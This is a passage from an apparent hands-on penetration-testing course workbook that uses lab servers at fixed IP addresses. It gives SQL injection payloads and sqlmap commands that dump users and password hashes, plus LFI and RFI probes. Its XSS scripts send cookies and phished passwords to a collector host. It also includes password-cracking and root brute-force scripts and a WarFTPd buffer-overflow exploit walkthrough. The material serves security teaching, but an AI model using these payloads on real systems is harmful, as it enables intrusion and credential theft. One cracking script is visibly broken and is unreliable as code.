6917Page returns the following error:
6918Unknown column '25' in 'order clause'
6919
6920
6921---------------------------Type This-----------------------------------
6922
6923http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
6924-----------------------------------------------------------------------
6925
6926Page returns the following error:
6927Unknown column '12' in 'order clause'
6928
6929
6930---------------------------Type This-----------------------------------
6931
6932http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
6933-----------------------------------------------------------------------
6934
6935---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
6936
6937
6938
6939Now we build out the union all select statement with the correct number of columns
6940
6941Reference:
6942http://www.techonthenet.com/sql/union.php
6943
6944
6945---------------------------Type This-----------------------------------
6946
6947http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
6948-----------------------------------------------------------------------
6949
6950
6951
6952Now we negate the parameter value 'acer' by turning into the word 'null':
6953---------------------------Type This-----------------------------------
6954
6955http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
6956-----------------------------------------------------------------------
6957
6958We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
6959
6960
6961Use a cheat sheet for syntax:
6962http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
6963
6964---------------------------Type This-----------------------------------
6965
6966http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
6967
6968http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
6969
6970http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
6971
6972http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
6973
6974
6975http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
6976
6977-----------------------------------------------------------------------
6978
6979
6980
6981########################
6982# Question I get a lot #
6983########################
6984Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
6985
6986Here is a good reference for it:
6987https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
6988
6989Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
6990
6991
6992
6993
6994#########################
6995# File Handling Attacks #
6996#########################
6997
6998Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
6999
7000---------------------------Type This-----------------------------------
7001
7002http://45.63.104.73/showfile.php?filename=about.txt
7003
7004-----------------------------------------------------------------------
7005
7006
7007See if you can read files on the file system:
7008---------------------------Type This-----------------------------------
7009
7010http://45.63.104.73/showfile.php?filename=/etc/passwd
7011-----------------------------------------------------------------------
7012
7013We call this attack a Local File Include or LFI.
7014
7015Now let's find some text out on the internet somewhere:
7016https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
7017
7018
7019Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
7020
7021---------------------------Type This-----------------------------------
7022
7023http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
7024 -----------------------------------------------------------------------
7025
7026#########################################################################################
7027# SQL Injection #
7028# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
7029#########################################################################################
7030
7031
7032- Another quick way to test for SQLI is to remove the paramter value
7033
7034
7035#############################
7036# Error-Based SQL Injection #
7037#############################
7038---------------------------Type This-----------------------------------
7039
7040http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
7041http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
7042http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
7043http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
7044http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
7045http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
7046http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
7047http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
7048http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
7049
7050-----------------------------------------------------------------------
7051
7052
7053
7054#############################
7055# Union-Based SQL Injection #
7056#############################
7057
7058---------------------------Type This-----------------------------------
7059
7060http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
7061http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
7062http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
7063http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
7064http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
7065http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
7066http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
7067http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
7068http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
7069http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
7070-----------------------------------------------------------------------
7071
7072 We are using a union select statement because we are joining the developer's query with one of our own.
7073 Reference:
7074 http://www.techonthenet.com/sql/union.php
7075 The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
7076 It removes duplicate rows between the various SELECT statements.
7077
7078 Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
7079
7080---------------------------Type This-----------------------------------
7081
7082http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
7083-----------------------------------------------------------------------
7084
7085 Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
7086
7087---------------------------Type This-----------------------------------
7088
7089http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
7090http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
7091http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
7092http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
7093
7094 -----------------------------------------------------------------------
7095
7096
7097
7098
7099- Another way is to see if you can get the backend to perform an arithmetic function
7100
7101---------------------------Type This-----------------------------------
7102
7103http://45.77.162.239/bookdetail.aspx?id=(2)
7104http://45.77.162.239/bookdetail.aspx?id=(4-2)
7105http://45.77.162.239/bookdetail.aspx?id=(4-1)
7106
7107
7108
7109http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
7110http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
7111http://45.77.162.239/bookdetail.aspx?id=1*1
7112http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
7113http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
7114http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
7115http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
7116http://45.77.162.239/bookdetail.aspx?id=2 &0#
7117
7118
7119
7120http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
7121http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
7122http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
7123http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
7124
7125 -----------------------------------------------------------------------
7126
7127
7128###############################
7129# Blind SQL Injection Testing #
7130###############################
7131Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
7132
71333 - Total Characters
7134---------------------------Type This-----------------------------------
7135
7136http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
7137http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
7138http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
7139 -----------------------------------------------------------------------
7140
7141Let's go for a quick check to see if it's DBO
7142
7143---------------------------Type This-----------------------------------
7144
7145http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
7146 -----------------------------------------------------------------------
7147
7148Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
7149
7150 ---------------------------Type This-----------------------------------
7151
7152D - 1st Character
7153http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
7154http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
7155http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
7156http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
7157
7158B - 2nd Character
7159http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
7160http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
7161
7162O - 3rd Character
7163http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
7164http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
7165http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
7166http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
7167http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
7168http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
7169http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
7170
7171 -----------------------------------------------------------------------
7172
7173
7174
7175
7176 ####File not Found
7177 ##########
7178# Sqlmap #
7179##########
7180If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
7181
7182 ---------------------------Type This-----------------------------------
7183
7184cd /home/strategicsec/toolz/sqlmap-dev/
7185python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
7186python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
7187python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
7188python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
7189python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
7190python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
7191python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
7192python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
7193python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
7194python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
7195
7196 -----------------------------------------------------------------------
7197
7198###############################################################################
7199# What is XSS #
7200# http://45.63.104.73/2-Intro_To_XSS.pptx #
7201###############################################################################
7202
7203OK - what is Cross Site Scripting (XSS)
7204
72051. Use Firefox to browse to the following location:
7206---------------------------Type This-----------------------------------
7207
7208 http://45.63.104.73/xss_practice/
7209 -----------------------------------------------------------------------
7210
7211 A really simple search page that is vulnerable should come up.
7212
7213
7214
7215
72162. In the search box type:
7217---------------------------Type This-----------------------------------
7218
7219 <script>alert('So this is XSS')</script>
7220-----------------------------------------------------------------------
7221
7222
7223 This should pop-up an alert window with your message in it proving XSS is in fact possible.
7224 Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
7225
7226
72273. In the search box type:
7228---------------------------Type This-----------------------------------
7229
7230 <script>alert(document.cookie)</script>
7231-----------------------------------------------------------------------
7232
7233
7234 This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
7235 Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
7236
72374. Now replace that alert script with:
7238---------------------------Type This-----------------------------------
7239
7240 <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
7241-----------------------------------------------------------------------
7242
7243
7244This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
7245
7246
72475. Now view the stolen cookie at:
7248---------------------------Type This-----------------------------------
7249
7250 http://45.63.104.73/xss_practice/cookie_stealer_logs.html
7251-----------------------------------------------------------------------
7252
7253
7254The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
7255
7256
7257
7258
7259
7260
7261############################
7262# A Better Way To Demo XSS #
7263############################
7264
7265
7266Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
7267
7268
7269Use Firefox to browse to the following location:
7270---------------------------Type This-----------------------------------
7271
7272 http://45.63.104.73/xss_practice/
7273-----------------------------------------------------------------------
7274
7275
7276
7277Paste this in the search box
7278----------------------------
7279
7280
7281---------------------------Type This-----------------------------------
7282
7283<script>
7284password=prompt('Your session is expired. Please enter your password to continue',' ');
7285document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
7286</script>
7287-----------------------------------------------------------------------
7288
7289
7290Now view the stolen cookie at:
7291---------------------------Type This-----------------------------------
7292
7293 http://45.63.104.73/xss_practice/passwords.html
7294
7295-----------------------------------------------------------------------
7296
7297
7298
7299
7300#################################################
7301# Lesson 25: Python Functions & String Handling #
7302#################################################
7303
7304Python can make use of functions:
7305http://www.tutorialspoint.com/python/python_functions.htm
7306
7307
7308
7309Python can interact with the 'crypt' function used to create Unix passwords:
7310http://docs.python.org/2/library/crypt.html
7311
7312
7313
7314Tonight we will see a lot of the split() method so be sure to keep the following references close by:
7315http://www.tutorialspoint.com/python/string_split.htm
7316
7317
7318Tonight we will see a lot of slicing so be sure to keep the following references close by:
7319http://techearth.net/python/index.php5?title=Python:Basics:Slices
7320
7321
7322---------------------------Type This-----------------------------------
7323vi LFI-RFI.py
7324
7325
7326---------------------------Paste This-----------------------------------
7327
7328
7329
7330#!/usr/bin/env python3
7331print("\n### PHP LFI/RFI Detector ###")
7332
7333import urllib.request, urllib.error, urllib.parse,re,sys
7334
7335TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
7336RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
7337TravLimit = 12
7338
7339print("==> Testing for LFI vulns..")
7340TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
7341for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
7342 TARGET += "../"
7343 try:
7344 source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
7345 except urllib.error.URLError as e:
7346 print("$$$ We had an Error:",e)
7347 sys.exit(0)
7348 if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
7349 print("!! ==> LFI Found:",TARGET+"etc/passwd")
7350 break ## BREAK LOOP WHEN VULN FOUND
7351
7352print("\n==> Testing for RFI vulns..")
7353TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
7354try:
7355 source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
7356except urllib.error.URLError as e:
7357 print("$$$ We had an Error:",e)
7358 sys.exit(0)
7359if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
7360 print("!! => RFI Found:",TARGET)
7361
7362print("\nScan Complete\n") ## DONE
7363
7364
7365
7366
7367-----------------------------------------------------------------------
7368
7369
7370-----------------------------------------------------------------------
7371
7372
7373################################
7374# Lesson 26: Password Cracking #
7375################################
7376
7377---------------------------Type This-----------------------------------
7378
7379wget http://45.63.104.73/htcrack.py
7380
7381vi htcrack.py
7382
7383
7384---------------------------Paste This-----------------------------------
7385#!/usr/bin/env python
7386
7387import crypt, sys
7388
7389if len(sys.argv) != 3:
7390 print("Usage: ./htcrack.py <password> <wordlist>")
7391 print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]");
7392 sys.exit(1)
7393
7394pw = sys.argv[1].split(":",1)
7395try:
7396 words = open(sys.argv[2], "r")
7397except(IOError):
7398 print("Error: Check your wordlist path\n")
7399 sys.exit(1)
7400wds = words.readlines()
7401print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-")
7402print(" - http://darkcode.ath.cx -")
7403print("\n",len(wds),"words loaded...")
7404for w in wds:
7405 if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]:
7406 print("\nCracked:",pw[0]+":"+w,"\n")
7407
7408
7409---------------------------Type This-----------------------------------
7410vi list.txt
7411
7412---------------------------Paste This-----------------------------------
7413
7414hello
7415goodbye
7416red
7417blue
7418yourname
7419tim
7420bob
7421
7422-----------------------------------------------------------------------
7423
7424---------------------------Type This-----------------------------------
7425
7426htpasswd -nd yourname
7427 - enter yourname as the password
7428
7429
7430
7431$ python3 htcrack.py joe:7XsJIbCFzqg/o list.txt
7432
7433
7434
7435
7436sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
7437
7438
7439
7440sudo /bin/bash
7441
7442passwd
7443 ***set root password***
7444
7445
7446
7447---------------------------Type This-----------------------------------
7448
7449vi rootbrute.py
7450
7451---------------------------Paste This-----------------------------------
7452
7453
7454#!/usr/bin/env python3
7455
7456import sys
7457try:
7458 import pexpect
7459except(ImportError):
7460 print("\nYou need the pexpect module.")
7461 print("http://www.noah.org/wiki/Pexpect\n")
7462 sys.exit(1)
7463
7464#Change this if needed.
7465# LOGIN_ERROR = 'su: incorrect password'
7466LOGIN_ERROR = "su: Authentication failure"
7467
7468def brute(word):
7469 print("Trying:",word)
7470 child = pexpect.spawn('/bin/su')
7471 child.expect('Password: ')
7472 child.sendline(word)
7473 i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
7474 if i == 1:
7475 print("Incorrect Password")
7476
7477 if i == 2:
7478 print("\n\t[!] Root Password:" ,word)
7479 child.sendline ('id')
7480 print(child.before)
7481 child.interact()
7482
7483if len(sys.argv) != 2:
7484 print("\nUsage : ./rootbrute.py <wordlist>")
7485 print("Eg: ./rootbrute.py words.txt\n")
7486 sys.exit(1)
7487
7488try:
7489 words = open(sys.argv[1], "r").readlines()
7490except(IOError):
7491 print("\nError: Check your wordlist path\n")
7492 sys.exit(1)
7493
7494print("\n[+] Loaded:",len(words),"words")
7495print("[+] BruteForcing...\n")
7496for word in words:
7497 brute(word.replace("\n",""))
7498
7499
7500-----------------------------------------------------------------------
7501
7502
7503References you might find helpful:
7504http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
7505
7506
7507
7508
7509
7510
7511
7512---------------------------Type This-----------------------------------
7513it does not work in python 3 we must change the module
7514
7515wget http://45.63.104.73/md5crack.py
7516
7517vi md5crack.py
7518
7519#!/usr/bin/env python3
7520
7521import md5hash, base64, sys
7522
7523if len(sys.argv) != 3:
7524 print("Usage: ./md5crack.py <hash> <wordlist>")
7525 sys.exit(1)
7526
7527pw = sys.argv[1]
7528wordlist = sys.argv[2]
7529try:
7530 words = open(wordlist, "r")
7531except(IOError):
7532 print("Error: Check your wordlist path\n")
7533 sys.exit(1)
7534words = words.readlines()
7535print("\n",len(words),"words loaded...")
7536hashes = {}
7537for word in words:
7538 hash = md5.new()
7539 hash.update(word[:-1])
7540 value = hash.hexdigest()
7541 hashes[word[:-1]] = value
7542for (key, value) in list(hashes.items()):
7543 if pw == value:
7544 print("Password is:",key,"\n")
7545
7546-----------------------------------------------------------------------
7547
7548
7549
7550
7551Why use hexdigest
7552http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
7553
7554
7555
7556
7557http://md5online.net/
7558
7559
7560
7561---------------------------Type This-----------------------------------
7562
7563
7564wget http://45.63.104.73/wpbruteforcer.py
7565
7566
7567-----------------------------------------------------------------------
7568
7569
7570
7571#############
7572# Functions #
7573#############
7574
7575
7576***********************
7577* What are Functions? *
7578***********************
7579
7580
7581Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
7582
7583How do you write functions in Python?
7584
7585Python makes use of blocks.
7586
7587A block is a area of code of written in the format of:
7588
7589 block_head:
7590
7591 1st block line
7592
7593 2nd block line
7594
7595 ...
7596
7597
7598Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
7599
7600Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
7601
7602def my_function():
7603 print("Hello From My Function!")
7604
7605
7606Functions may also receive arguments (variables passed from the caller to the function). For example:
7607
7608def my_function_with_args(username, greeting):
7609 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
7610
7611
7612Functions may return a value to the caller, using the keyword- 'return' . For example:
7613
7614def sum_two_numbers(a, b):
7615 return a + b
7616
7617
7618****************************************
7619* How do you call functions in Python? *
7620****************************************
7621
7622Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
7623
7624# Define our 3 functions
7625---------------------------Paste This-----------------------------------
7626
7627def my_function():
7628 print("Hello From My Function!")
7629
7630def my_function_with_args(username, greeting):
7631 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
7632
7633def sum_two_numbers(a, b):
7634 return a + b
7635
7636# print(a simple greeting)
7637my_function()
7638
7639#prints - "Hello, Joe, From My Function!, I wish you a great year!"
7640my_function_with_args("Joe", "a great year!")
7641
7642# after this line x will hold the value 3!
7643x = sum_two_numbers(1,2)
7644-----------------------------------------------------------------------
7645
7646
7647************
7648* Exercise *
7649************
7650
7651In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
7652
7653Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
7654
7655Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
7656
7657Run and see all the functions work together!
7658
7659
7660---------------------------Paste This-----------------------------------
7661
7662# Modify this function to return a list of strings as defined above
7663def list_benefits():
7664 pass
7665
7666# Modify this function to concatenate to each benefit - " is a benefit of functions!"
7667def build_sentence(benefit):
7668 pass
7669
7670def name_the_benefits_of_functions():
7671 list_of_benefits = list_benefits()
7672 for benefit in list_of_benefits:
7673 print(build_sentence(benefit))
7674
7675name_the_benefits_of_functions()
7676
7677
7678-----------------------------------------------------------------------
7679
7680
7681
7682Broken link
7683
7684Please download this file to your Windows host machine, and extract it to your Desktop.
7685http://45.63.104.73/ED-Workshop-Files.zip
7686
7687
7688
7689
7690
7691###########################
7692# Lab 1a: Stack Overflows #
7693###########################
7694
7695 #############################
7696 # Start WarFTPd #
7697 # Start WinDBG #
7698 # Press F6 #
7699 # Attach to war-ftpd.exe #
7700 #############################
7701---------------------------Type This-----------------------------------
7702
7703cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
7704
7705
7706python warftpd1.py | nc XPSP3-ED-Target-IP 21
7707
7708
7709 At WINDBG prompt
7710 “r” to show registers or “alt+4”
7711 dd esp
7712
7713-----------------------------------------------------------------------
7714---------------------------Type This-----------------------------------
7715
7716python warftpd2.py | nc XPSP3-ED-Target-IP 21
7717
7718
7719 At WINDBG prompt
7720 “r” to show registers or “alt+4”
7721 dd esp
7722-----------------------------------------------------------------------
7723
7724 Eip: 32714131
7725 esp: affd58 (71413471)
7726
7727 Now we need to SSH into the StrategicSec Ubuntu host
7728 ---------------------------Type This-----------------------------------
7729
7730 cd /home/strategicsec/toolz/metasploit/tools/exploit
7731
7732 ruby pattern_offset.rb 32714131
7733 485
7734
7735 ruby pattern_offset.rb 71413471
7736 493
7737-----------------------------------------------------------------------
7738
7739 Distance to EIP is: 485
7740 Relative position of ESP is: 493
7741
7742 RET – POP EIP
7743 RET 4 – POP EIP and shift ESP down by 4 bytes
7744 ---------------------------Type This-----------------------------------
7745
7746 cd /home/strategicsec/toolz/metasploit/
7747 ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
7748 -----------------------------------------------------------------------
7749
7750 0x7c9c167d push esp; retn 0x304d
7751 0x7c9d30d7 jmp esp < - how about we use this one
7752 0x7c9d30eb jmp esp
7753 0x7c9d30ff jmp esp
7754
7755
7756 warftpd3.py with Notepad++
7757 Fill in the appropriate values
7758 Distance to EIP
7759 Address of JMP ESP
7760
7761
7762 ---------------------------Type This-----------------------------------
7763
7764python warftpd3.py | nc XPSP3-ED-Target-IP 21
7765
7766 0:003> dd eip
7767 0:003> dd esp
7768
7769 -----------------------------------------------------------------------
7770
7771
7772
7773
7774 Mention bad characters
7775 No debugger
7776
7777 ---------------------------Type This-----------------------------------
7778
7779
7780python warftpd4.py | nc XPSP3-ED-Target-IP 21
7781
7782nc XPSP3-ED-Target-IP 4444
7783
7784 -----------------------------------------------------------------------
7785
7786
7787
7788
7789There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
7790
7791Shellcode test 1: Calculate space for shellcode
7792Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
7793
7794
7795
7796
7797
7798Shellcode test 2: Identify bad characters
7799
7800Replace the INT3 (cc) dummy shellcode with this string:
7801 ---------------------------Type This-----------------------------------
7802
7803"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
7804
7805 -----------------------------------------------------------------------
7806
7807Send this new shellcode string and identify the places where it truncates - these are the bad characters
7808
7809
7810
7811
7812Here is what the string looks like after I manually tested and removed each of the bad characters:
7813 ---------------------------Type This-----------------------------------
7814
